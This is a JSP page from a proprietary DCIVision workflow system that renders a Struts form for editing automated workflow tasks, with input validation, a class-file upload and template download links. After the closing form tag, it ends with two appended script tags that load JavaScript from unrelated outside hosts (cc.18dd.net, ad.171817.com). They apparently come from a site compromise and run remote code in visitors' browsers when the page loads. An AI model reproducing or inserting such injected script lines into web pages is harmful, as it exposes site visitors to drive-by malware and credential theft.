<%
/**
 *
 * @(#)EditWorkflowAutomaticTask.jsp
 *
 * Copyright (c) 2006 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with documentInfoDCIVision Ltd.
 */
/**
  EditWorkflowAutomaticTask.jsp
    @author           tc
    @company          DCIVision Limited
    @creation date    2006-08-23
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowAutomaticTaskForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowAutomaticTaskForm"/>

<script language="Javascript">
<!--
function CusOpSave(frm) {
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
  var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
	if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }

  //check actionLabel
  if(frm.elements['actionLabel'].value==""){
	  alert("<bean:message key='automatictask.message.action_label_not_empty'/>");
	  return false;
  }
	if (!validateSpecialChar(frm.elements['actionLabel'], invalidChars, "<bean:message key='automatictask.columnheader.action_label'/> " + errorMessage)){
	  return (false);
	}
  if (frm.elements['ID'].value == "") {
  
  	if(frm.elements['categoryObjectID'].value==""){
	 alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.category")%>' />');
     return false;
	}
	if(frm.elements['srcFile'].value==""){
	  alert("<bean:message key='automatictask.message.srcfile_not_empty'/>");
	  return false;
	}
    return(OpInsert(frm));
  } else {
    if (frm.elements['navMode'].value == NAV_MODE_CHANGE) {
      return(OpCopy(frm));
    } else {
      return(OpUpdate(frm));
    }
  }
}

function downloadTemplete(templateName){
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
       frm = document.forms[i];
     }
   }
   frm.templateName.value=templateName;
   frm.opMode.value="<%=WorkflowOperationConstant.OP_MODE_DOWNLOAD_TEMPLETE%>";
   frm.submit();
}

//-->
</script>

<html:form enctype="multipart/form-data" action="workflow/MaintWorkflowAutomaticTask" styleClass="form-style-2">
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
   String accessibleGroupList = (String)request.getAttribute(MaintWorkflowRecordAction.VAR_ACCESSIBLE_GROUP_LIST);
  
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

  boolean bIsCopy = false, 
  bIsEdit = false, 
  bTextOnly = false,
  bIsDEL=false;

  String navMode = maintWorkflowAutomaticTaskForm.getNavMode();
  String opMode = maintWorkflowAutomaticTaskForm.getOpMode();

  if (GlobalConstant.NAV_MODE_CHANGE.equals(navMode)) {
    bIsCopy = true;
   // maintWorkflowRecordForm.setID(request.getParameter("ID"));
  } else if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {
    bTextOnly = true;
  } else if (GlobalConstant.NAV_MODE_EDIT.equals(navMode)){
    bIsEdit = true;
  }

  if(GlobalConstant.OP_MODE_DELETE.equals(opMode))
  bIsDEL = true;

String returnURL = "ListWorkflowAutomaticTask.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN; 
%>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='templateName'/>
<input type="hidden" name="today" value="<%=Utility.getCurrentTimestamp()%>">


  <!-- AutomaticTask information -->
  <layout:tabContainer id="tab1">
  <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
  <layout:tabBar styleClass="tabBar_no_button">
     <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true" visibility="false"/> 
  </layout:tabBar>
  <div id="basicTab" class="tabContent">
  <table width="100%">
    <layout:sectionHeader name="automatictask.label.automatictask_information" colspan="4"/>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='automatictask.label.action_label'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:text property='actionLabel' textOnly='<%=bTextOnly%>' size='20' maxlength='40'/></td>
    </tr>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='workflow.label.category'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:select textOnly='<%=bTextOnly%>'  property='categoryObjectID'>
        <html:options dbListName='<%=OptionsListConstant.DBLIST_WORKFLOW_CATEGORY%>'/>
      </html:select>
      </td>
    </tr>
	<%if(bTextOnly||bIsEdit){%>
    <tr>
      <td class="formLabelSmall"><bean:message key='automatictask.label.action_classname'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:text property='actionClassName' textOnly='true'/></td>
    </tr>
	<%}
	if(!bTextOnly){%>
	<tr>
      <td class="formLabelSmall"><bean:message key='automatictask.label.action_file'/>:&nbsp;</td>
      <td class="formFieldSmall"><input type="file" name="srcFile"></td>
    </tr>
	<tr>
	  <td colspan="2" class="formFieldSmall"><bean:message key='user.label.download_folder_template'/>:&nbsp;&nbsp;
	   <a href="#" onClick="downloadTemplete('CP');">Auto Complete Task Templete</a>&nbsp;&nbsp;
	   <a href="#" onClick="downloadTemplete('TS');">Auto Trigger SubWorkflow Template</a>
	  </td>
	</tr>
	<%}%>
  </table>
  </div>
  </layout:tabContainer>
  <!-- AutomaticTask information END-->
  
  <div id="bottomButtonArea">
   <div id="buttonSection">
      <%if(!bIsDEL){%>
      <%if(!bTextOnly){%>
      <html:standardButton label="common.label.save" onClick="return CusOpSave()"/>
      <%}else{%>
       <html:standardButton label="common.label.edit" link="MaintWorkflowAutomaticTask.do?navMode=E&ID=${maintWorkflowAutomaticTaskForm.ID}"/>
      <%}%>
	  <%if(!Utility.isEmpty(maintWorkflowAutomaticTaskForm.getID())){%>
      <html:standardButton label="common.label.delete" onClick="return OpDelete()"/> 
	  <%}%>
	  <%}%>
   </div>
  </div>

</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>